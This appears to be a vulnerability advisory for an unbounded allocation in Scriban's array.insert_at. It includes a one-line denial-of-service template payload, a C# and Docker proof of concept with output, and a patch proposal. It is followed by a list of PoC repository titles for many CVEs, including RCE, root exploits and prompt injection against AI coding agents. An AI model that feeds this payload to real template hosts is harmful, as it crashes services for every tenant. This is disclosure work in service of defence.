## Summary `ArrayFunctions.InsertAt` in Scriban allocates `index - list.Count` null entries in a tight C# `for` loop with no bound on `index`. The function is exposed to template authors as `array.insert_at`, and the fill loop ignores every existing safety control: `LoopLimit`, `LimitToString`, `ObjectRecursionLimit`, and `RecursiveLimit`. A single template such as `{{ [1] | array.insert_at 200000000 'x' | array.size }}` causes `OutOfMemoryException` in well under a second on a host with 1 GB of memory, even when `LoopLimit` is set to `10` and `LimitToString` is set to `100`. Because `OutOfMemoryException` is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template. This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in `string * int`, `array.size`, `array.join`, `string.pad_left`, and `string.pad_right`. The 7.0.0 hardening pass (`dde661d` "Apply LoopLimit to internal iteration paths" and `4227fde` "Harden string padding width limits") swept the equivalent loops in `ArrayFunctions` and `StringFunctions` but missed `InsertAt`. ## Details Reproducible in 7.1.0 (latest tag) and on `master` at `c8094b0`. `src/Scriban/Functions/ArrayFunctions.cs:369-386`: ```csharp public static IEnumerable InsertAt(IEnumerable? list, int index, object? value) { if (index < 0) { index = 0; } var array = list is null ? new ScriptArray() : new ScriptArray(list); // Make sure that the list has already inserted elements before the index for (int i = array.Count; i < index; i++) { array.Add(null); // <-- unbounded fill, no StepLoop, no Limit* } array.Insert(index, value); return array; } ``` The function is registered as the template builtin `array.insert_at` (`array.fmt-cs` and the standard `ArrayFunctions` ScriptObject reflection registration). It is invoked from a template like `[1] | array.insert_at 999999999 "x"`. Three properties combine to make this exploitable: 1. There is no context-aware overload. Comparable amplification primitives in this same file received a `(TemplateContext, SourceSpan, ...)` overload that calls `StepLoop` per iteration (`AddRange`, `Compact`, `Concat`, `Last`, `Limit`, `Offset`, `Reverse`, `Size`, `Sort`, `Uniq`, `Contains`, `Each`, `Filter`, `Join`, `Map`, `Any` -- see commit `dde661d`). `InsertAt` was not given that treatment. The single `IEnumerable, int, object` signature is what the engine resolves to, so no host configuration changes its behaviour. 2. The loop itself never consults `context.LoopLimit`, `context.LimitToString`, `context.RecursiveLimit`, or `context.ObjectRecursionLimit`. There is no upstream call into `context.StepLoop`, `context.CheckAbort`, or any guard. With `index = 200_000_000`, the C# loop calls `ScriptArray.Add(null)` 200 million times on a `List<object>` whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up. 3. `OutOfMemoryException` is the actual failure mode. Per Microsoft, `OutOfMemoryException` and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a `ScriptRuntimeException` because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare `OutOfMemoryException` propagates and crashes the AppDomain. The pattern that matches the existing fixes is to add a context-aware overload that validates `index` against `LoopLimit` (or `LimitToString` for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload `[ScriptMemberIgnore]`: ```csharp [ScriptMemberIgnore] public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ } public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value) { if (index < 0) index = 0; if (context.LoopLimit > 0 && index > context.LoopLimit) { throw new ScriptRuntimeException(span, $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`."); } return InsertAt(list, index, value); } ``` Same pattern as `ArrayFunctions.AddRange`, `Compact`, `Concat`, `Last`, `Limit`, etc., introduced by `dde661d`, and as `StringFunctions.PadLeft`/`PadRight` introduced by `4227fde`. ## PoC Standalone .NET 9 console app referencing `Scriban` 7.1.0 from NuGet. `poc.csproj`: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net9.0</TargetFramework> </PropertyGroup> <ItemGroup> <PackageReference Include="Scriban" Version="7.1.0" /> </ItemGroup> </Project> ``` `Program.cs`: ```csharp using System; using System.Diagnostics; using Scriban; class Program { static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec) { Console.WriteLine($"\n=== {title} ==="); var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString }; var tpl = Template.Parse(template); var sw = Stopwatch.StartNew(); try { var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx)); if (!task.Wait(TimeSpan.FromSeconds(timeoutSec))) { Console.WriteLine($" TIMEOUT after {timeoutSec}s -- DoS confirmed"); return; } Console.WriteLine($" output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s"); } catch (AggregateException ex) { Console.WriteLine($" EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " + $"{ex.InnerException?.Message?.Split('\n')[0]}"); } } static void Main() { // Baseline: small index renders normally. Run("baseline", "{{ ([1] | array.insert_at 5 'x' | array.size) }}", loopLimit: 1000, limitToString: 1048576, timeoutSec: 5); // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect. Run("DoS via array.insert_at index=200_000_000", "{{ [1] | array.insert_at 200000000 'x' | array.size }}", loopLimit: 10, limitToString: 100, timeoutSec: 30); // Exploit: int.MaxValue. Run("DoS via array.insert_at index=int.MaxValue", "{{ [1] | array.insert_at 2147483647 'x' | array.size }}", loopLimit: 10, limitToString: 100, timeoutSec: 15); } } ``` Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical: ```bash docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \ dotnet run -c Release ``` Observed output: ``` === baseline === output=1 chars in 0.01s === DoS via array.insert_at index=200_000_000 === EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown. === DoS via array.insert_at index=int.MaxValue === EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown. ``` Two observations: - The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed. - Setting `LoopLimit = 10` and `LimitToString = 100` (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through `StepLoop`, and the result is a `ScriptArray`, not a string, so `LimitToString` is never consulted. ## Impact Denial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using `app.UseScriban`-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants. Severity is consistent with the four DoS GHSAs already published against Scriban (`GHSA-xw6w-9jjh-p9cr` High 7.5, `GHSA-c875-h985-hvrc` High 7.5, `GHSA-v66j-x4hw-fv9g` High 7.5, `GHSA-m2p3-hwv5-xpqw` High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` (High, 8.7).
PoC: mikrotrick-poc
CVE-2026-67276 RouterOS SSH public-key authentication bypass lab PoC
PoC: xiaomi15-dada-cve-2026-64560
Device-bound CVE-2026-64560 adaptation for Xiaomi 15 dada OS4.0.0.8
PoC: cve-2026-32475-elementor-pro-lab
A/B Docker lab + PoC for CVE-2026-32475 (Elementor Pro Forms unauthenticated arbitrary file upload -> RCE via validation/move loop desync)
PoC: CVE-2026-28576-poc
SQL injection vulnerability in Android 17 (AOSP)
PoC: KeySniper
**CVE-2026-18963** — unauthenticated Keycloak account takeover via the reset-credentials flow.
PoC: CVE-2026-58138
CVE-2026-58138
PoC: CVE-2026-41940
cPanel & WHM - Authentication Bypass via Session-File CRLF Injection
PoC: CVE-2024-12356
Unauthenticated RCE detector + RCA for BeyondTrust Remote Support / PRA (CVE-2024-12356 + CVE-2025-1094)
PoC: log4shell-exploitation-detection
Log4Shell (CVE-2021-44228) exploitation from a Kali VM against a vulnerable containerized app, with Splunk-based detection engineering and validated remediation. Covers the full attack lifecycle: exploitation, JNDI and host-level auditd detection, and before/after remediation proof.
PoC: cve-2015-3306-lab
Reproducible Docker lab + raw-socket exploit for CVE-2015-3306 (ProFTPD mod_copy pre-auth arbitrary file copy) — a patch-diffing learning exercise
PoC: CVE-2026-39987-PoC
CVE-2026-39987 Proof of Concept
PoC: misfortune-cookie
This interactive suite targets CVE-2014-9222 (Misfortune Cookie) in legacy RomPager web servers, alongside modular testing for CVE-2017-17215 (Huawei HG532 RCE), CVE-2018-14847 (MikroTik WinBox credential leak), and the CVE-2021-27101 / CVE-2021-27102 exploit chain (Accellion FTA).
PoC: CVE-2023-52356-libtiff-analysis
Root-cause analysis and patch validation of CVE-2023-52356 in libtiff using AddressSanitizer and GDB.
PoC: BlueGate-CVE-2020-0609
BlueGate Exploit validator - RD Gateway validator for CVE-2020-0609 and CVE-2020-0610 (BlueGate) using OpenSSL DTLS over UDP/3391.
PoC: CVE-2026-81780-Hash-Form
CVE-2026-81780 — Hash Form RCE
PoC: CVE-2026-82329-JFrog-Artifactory-
CVE-2026-82329 — JFrog Artifactory Auth Bypass
PoC: cs50-cybersecurity-final-project
CS50 Cybersecurity Final Project: Technical Analysis of the XZ Utils Backdoor (CVE-2024-3094)
PoC: gha-lab-00d54c717d
Security-research lab: CVE-2026-47172 (workflow_run pwn request in deploy.yaml) — flattened snapshot of duck-organization/questbot at 1903b2f
PoC: CVE-2026-33234
SSRF via smtplib raw TCP sockets bypassing HTTP blocklist in AutoGPT SendEmailBlock
PoC: CVE-2025-5548
Buffer overflow in FreeFloat FTP Server 1.0
PoC: gitssrf-gim-cve-parent
gitssrf-gim CVE-2025-48384 parent
PoC: 2009
Linux Kernel Exploits -> CVE-2009-1185 + CVE-2009-1337 + CVE-2009-2692 + CVE-2009-2698 + CVE-2009-3547
PoC: 2008
Linux Kernel Exploits -> CVE-2008-0600 + CVE-2008-0900 + CVE-2008-4210
PoC: 2006
Linux Kernel Exploits -> CVE-2006-2451 + CVE-2006-3626
PoC: CVE-2026-86218
CVE-2026-86218 - Draft or TODO - N-central is vulnerable to a pre-auth remote code execution
PoC: 2005
Linux Kernel Exploits -> CVE-2005-0736 + CVE-2005-1263
PoC: 2004
Linux Kernel Exploits -> CVE-2004-0077 + CVE-2004-1235 + caps_to_root
PoC: galaxy-a37-root
CVE-2026-43499 exploit payload for Samsung Galaxy A37 (A376BXXS4AZG4, kernel 6.1.138-android14-11)
PoC: CVE-2026-13181-CVE-2026-13182-CVE-2026-13183-CVE-2026-13184
CVE-2026-13181, CVE-2026-13182, CVE-2026-13183, CVE-2026-13184
PoC: exploit-mikrotik-2026
CVE-2026-67276 MikroTik RouterOS SSH Authentication Bypass Exploit
PoC: gha-lab-8aba6b05dc
Security-research lab reproducing CVE-2026-45132 (pwn request via pull_request_target chart-name injection in generate-schema.yaml) — snapshot of CloudPirates-io/helm-charts @ 9f5a7186
PoC: CVE-2026-42031-SQL-Injection-Scanner
CVE-2026-42031 SQL Injection Scanner for CKAN DataStore
PoC: gha-lab-5511dc3f73
Authorized security-research lab reproducing CVE-2026-45131 (pwn request in .github/workflows/pull-request.yaml) — snapshot of CloudPirates-io/helm-charts @ 9f5a7186
PoC: ai-tool-poisoning-guard
Free security-baseline rule for Claude Code, Codex, and Cursor: treats MCP tool descriptions as untrusted input (OWASP MCP Top 10 MCP03, CVE-2025-54136).
PoC: gha-lab-733c168b88
Authorized security-research lab reproducing CVE-2026-44246 (GHSA-63mx-j37w-gh59): prompt injection via verbatim issue title/body inlining into the claude-code-action triage agent in nnU-Net's issue-triage workflow. Snapshot of MIC-DKFZ/nnUNet @ 9a1db0dd1c74894fa17e79014be4097f546a51be.
PoC: CVE-2021-1675
Simulated PoC — PrintNightmare Windows Print Spooler RCE/LPE (CVE-2021-1675 + CVE-2021-34527). Non-functional payload for detection engineering. CISA KEV · Patched July 2021 · MITRE T1068.
PoC: CVE-2025-31324
PoC — SAP NetWeaver Visual Composer unauthenticated file upload (CVSS 10.0). Benign JSP payload. CISA KEV May 2025 · Patched April/May 2025 · T1190 ·
PoC: gha-lab-677752506e
Authorized security-research lab reproducing CVE-2026-42298 (pull_request_target docker-build RCE in pr-docker-build.yml) — flattened snapshot of gitroomhq/postiz-app
PoC: CVE-2026-42559
Docker lab + Python PoC for CVE-2026-42559 - DNS rebinding via unvalidated Host header in the rmcp (Rust MCP SDK) Streamable HTTP server transport
PoC: CVE-2024-7804
Docker lab + Python exploit for CVE-2024-7804 (PyTorch torch.distributed.rpc unsafe pickle deserialization RCE, CWE-502, torch <= 2.3.1)
PoC: gha-lab-456dd8a245
Security-research lab reproducing CVE-2026-41414 (pull_request_target pwn in .github/workflows/pr.yml) — snapshot of skim-rs/skim @ ca986f4, not a fork.
PoC: gha-lab-5bce203f66
Security-research lab: reproduction of CVE-2026-41249 (GHSA-q58j-g3f4-h26h) — pull_request_target pwn request in .github/workflows/static.yml, snapshot of coreshop/CoreShop@cc1e3f54
PoC: CVE-2025-57819
CVE-2025-57819 - FreePBX 16 Endpoint Manager unauthenticated SQL injection to RCE (PoC)
PoC: gha-lab-360f77d0d4
Authorized security-research lab: reproduction of CVE-2026-39866 (GHSA-9prc-pp2c-3427) — workflow_dispatch input template injection in .github/workflows/release_update.yml of LawnchairLauncher/lawnchair @ b089bae8c007f36a8ce0346725182a107d97cd05. Snapshot pinned to the vulnerable commit; owner-gated sign-info step retargeted for the lab.
PoC: CVE-2026-44578-next-js-ssrf
este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah
PoC: log4shell-exploitation-lab
CVE-2021-44228 Log4Shell reproduced end to end: exploitation through remediation
PoC: CVE-2026-67276
CVE-2026-67276 - Draft or TODO
PoC: GitLab-CVE-2023-7028
A mock app for the GitLab CVE-2023-7028, which allow multile email adresses when ordering a password reset.
PoC: CVE-2026-64849-poc-lab
este laboratorio puede estar bien o mal preguntale a la IA estoy probando pero debe funcionar hahahah
PoC: CVE-2021-3030
Advisory: Cute Editor 6.4 reflected XSS via 'Theme' parameter in colorpicker_more.aspx
PoC: CVE-2026-27876
Grafana SQL Expressions Arbitrary File Write to RCE
PoC: CVE-2026-28956-jxl-messages-surface
JPEG XL auto-decodes in the iOS Messages preview path — delivery-surface finding for CVE-2026-28956 (AppleJPEGXL), with patch-diff attribution (libjxl 0.10.4->0.10.5) and an honest reliability check on the public PoC.
PoC: CVE-2026-73570
Zimbra Collaboration Suite RCE — SMTP log poisoning → swatchdog → OS Command Injection (CVSS 8.9, CISA KEV)
PoC: CVE-2020-10770-keycloak-exploit-poc
Keycloak Blind SSRF POC
PoC: CVE-2026-1529-Keycloak-Exploit-Tool
Keycloak: Unauthorized organization registration via improper invitation token validation
PoC: CVE-2026-18963-keycloak
CVE-2026-18963 — Keycloak reset-credentials bypass -> Account Takeover
PoC: CVE-2026-64747
Root cause + macOS reachability PoC for CVE-2026-64747 (AppleAVE2 kext buffer overflow, fixed 26.6 / 905.40.1). Fully reversed AppleAVE2UserClient wire protocol, mode-5 LRB overflow math, IOKit PoC driving the configure path.
PoC: CVE-2026-64705
Root cause + PoC for CVE-2026-64705 (macOS HFS xattr kernel heap overflow, fixed 14.8.7). Weaponized HFS+ image: unbounded bcopy loop -> kernel heap overflow -> panic on pre-fix systems; validator rejection on patched. Kext diff, mechanism, rebuild recipe.
PoC: CVE-2026-78938
Root cause analysis + working R/W exploit for CVE-2026-78938 (V8 TurboFan CheckMaps instance-migration type confusion, Chrome 152, exploited in the wild). Crash PoC + addrof/fakeobj/arbitrary R/W over the compressed heap.
PoC: Jozini-network-scanner
# Jozini Network Scanner Built in Termux at KwaQondile Library, Jozini KZN Tools: - scanner.py: Port scanner with banner grabbing (20 ports + report saving) - cve_check.py: Maps RouterOS version to known CVEs Finding: MikroTik RouterOS 6.46.8 vulnerable to CVE-2020-2021 (Critical) Author: [Your Name] - Aspiring Pentester
PoC: CVE-2026-52774-YESWIKI-XSS
a reflected XSS vulnerability in YesWiki's Bazar widget handler.
PoC: netty-http2-check
CVE-2025-55163 / CVE-2026-56819: offline checker for the 7 netty-codec-http2 CVEs. Tells you which ones you are exposed to, and the one version that fixes all seven (4.1.136.Final / 4.2.16.Final) - written on none of the advisories. Does not scan pom.xml on purpose: WebFlux pulls it in transitively.
PoC: CVE-2026-0920
A PoC exploit for CVE-2026-0920 - LA-Studio Element Kit / Unauthenticated Privilege Escalation
PoC: CVE-2026-84645
Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC & analysis. Requires Item/Configure; affects weekly <= 2.579 / LTS <= 2.568.2
PoC: cyberthreat_DBSproject
threat = { "id": "CVE-2026-0001", "title": "Apache HTTP Server Remote Code Execution", "vendor": "Apache", "product": "HTTP Server", "description": "A vulnerability in Apache HTTP Server allows remote attackers to execute arbitrary code.", "cvss": 9.8, "kev": True, "published": "2026-06-30" }
PoC: CVE-2026-6471
CVE-2026-6471
PoC: CVE-2026-75865
Unauthenticated arbitrary file upload -> RCE in WPLP Cookie Consent (gdpr-cookie-consent) <= 4.4.1 - technical write-up and PoC
PoC: CVE-2026-32475
CVE-2026-32475 PoC : Elementor Pro Unauthenticated Arbitrary File Upload to RCE
PoC: CVE-2023-42793-TeamCity-Unauthenticated-RCE
A PoC and automated version detection/exploit tool for JetBrains TeamCity Authentication Bypass & RCE (CVE-2023-42793).
PoC: cve-2026-6471-postgres-logical-decoding-dlopen
postgres CVE-2026-6471 Exploit
PoC: gpgsm-cve-2026-57062-cms-gcm-short-tag
gpgsm CVE-2026-57062 exploit POC
PoC: CVE-2025-4255---Buffer-Overflow
Exploit Framework for CVE-2025-4255
PoC: gha-lab-4a8fad8536
Security-research lab reproducing CVE-2026-39382 (GHSA-5jxf-vmqr-5g82): command injection in dbt-labs reusable workflow open-issue-in-repo.yml, driven by a dbt-core-style docs-issue.yml caller
PoC: gha-lab-ed7a1740c4
Security-research lab: controlled reproduction of GHSA-3g6g-gq4r-xjm9 / CVE-2026-35580 (GitHub Actions workflow_dispatch input shell injection) against a pinned snapshot of NationalSecurityAgency/emissary
PoC: gha-lab-85f022290a
Research lab reproduction of CVE-2026-34243 (GHSA-r4fj-r33x-8v88): command injection via issue_comment.body in .github/workflows/comment.yaml — snapshot of njzjz/wenxian@ca4e04de86aa970c0e3cb1c7f2bd103d339fbe51
PoC: gha-lab-9b5e3ccfbe
Security-research lab: reproduction of CVE-2026-33475 (GitHub Actions script injection via PR branch name in deploy-docs-draft.yml), snapshot of langflow-ai/langflow
PoC: research-cve-2026-85649
[MIRROR] The CVE-2026-85649 Security Research Publication.
PoC: gha-lab-61c59f4acb
Security-research lab: controlled reproduction of CVE-2026-33075 (pwn request in labring/FastGPT preview-image workflow, pull_request_target + checkout-of-fork + privileged buildx push)
PoC: gha-lab-3f1ff30e9c
Authorized security-research lab reproducing CVE-2026-31852 (jellyfin/jellyfin-ios pull_request_target pwn in code-quality.yml) — isolated snapshot, not the upstream project
PoC: ghostlock-s25fe
GhostLock (CVE-2026-43499) for the Galaxy S25 FE (W.I.P)
PoC: gha-lab-ca4fa82ac5
Security-research lab: reproduction of CVE-2026-29075 (GHSA-3j55-5q6x-2h48) in mesa/mesa benchmarks.yml pull_request_target workflow — single-commit snapshot for authorized vulnerability reproduction.
PoC: gha-lab-6c3094af9e
Authorized security-research lab reproducing CVE-2026-27941 (pwn request in pull_request_target workflows) — snapshot of openlit/openlit
PoC: gha-lab-a7f6217d26
Security-research reproduction of CVE-2026-27938 / GHSA-4q9f-mjxf-rx7x (GitHub Actions expression injection in release workflows) — snapshot of wp-graphql/wp-graphql at b216fe22f3a119f256511ec7353f536fee6886ac
PoC: cve-2026-19900-PoC
cve-2026-19900-PoC
PoC: CVE-2026-85769
Heap out-of-bounds read in libtpms TPM 2.0 state deserialization — CVE-2026-85769
PoC: CVE-2026-19632
Unauthenticated account takeover PoC for TranslatePress Multilingual <= 3.3.1 (WordPress)
PoC: CVE-2026-11613
Divi Ajax Filter <= 5.1.2 Unauthenticated Local File Inclusion via 'custom_loop_template'
PoC: gha-lab-25b7988758
Authorized security-research reproduction of CVE-2026-27701 / GHSA-xh9w-5859-x97j (live-codes/livecodes @ 8017e01): untrusted PR title interpolated into i18n-update-pull github-script block.
PoC: copy-fail-CVE-2026-31431-cpp
https://github.com/theori-io/copy-fail-CVE-2026-31431 but ported to c++ for fun
PoC: CVE-2026-83548-checker
Non-intrusive detector for SonicWall SMA 1000 exposure to CVE-2026-83548/-83549 (version/patch-state check; no exploitation)
PoC: gha-lab-b16a4f3554
Security-research lab: CVE-2026-24480 pull_request_target pre-commit RCE in qgis/QGIS (snapshot at vulnerable commit)
PoC: Yordam-Kutuphane-Otomasyonunda-Coklu-HTML-Enjeksiyonu
CVE-2026-77818 - Yordam Kütüphane Otomasyon Sistemi - Üç ayrı noktada yansıtılmış HTML enjeksiyonu, form action ele geçirme ve kimlik bilgisi hırsızlığı (CWE-79)
PoC: jsherp-user-info-idor
VulDB advisory: jshERP authenticated /user/info IDOR and password-digest replay after CVE-2025-60800
PoC: gha-lab-7927d7d06f
Security-research lab reproducing CVE-2026-22869 (pwn) — arbitrary code execution in privileged pull_request_target run via npx local-bin hijack, snapshot of eigent-ai/eigent @ 2a406536
PoC: cve-2026-31431
PoC for CVE-2026-31431
PoC: gha-lab-b5c1313658
Authorized security-research lab reproducing CVE-2026-1699 (pwn request in preview.yml) — snapshot of eclipse-theia/theia-website
PoC: CVE-2026-63077
CVE-2026-63077 - Unauthenticated RCE exploit for JetBrains TeamCity via Agent Polling Deserialization. Supports mass scanning, multi-threading, and interactive shell. For authorized security testing only.
PoC: CVE-2026-6471
CVE-2026-6471 - Draft or TODO
PoC: CVE-2026-73554
CVE-2026-73554 - Draft or TODO
PoC: CVE-2026-19516
CVE-2026-19516
Get alerted for CVEs like this
Register your stack and get notified within minutes when a matching CVE drops.
Start monitoring free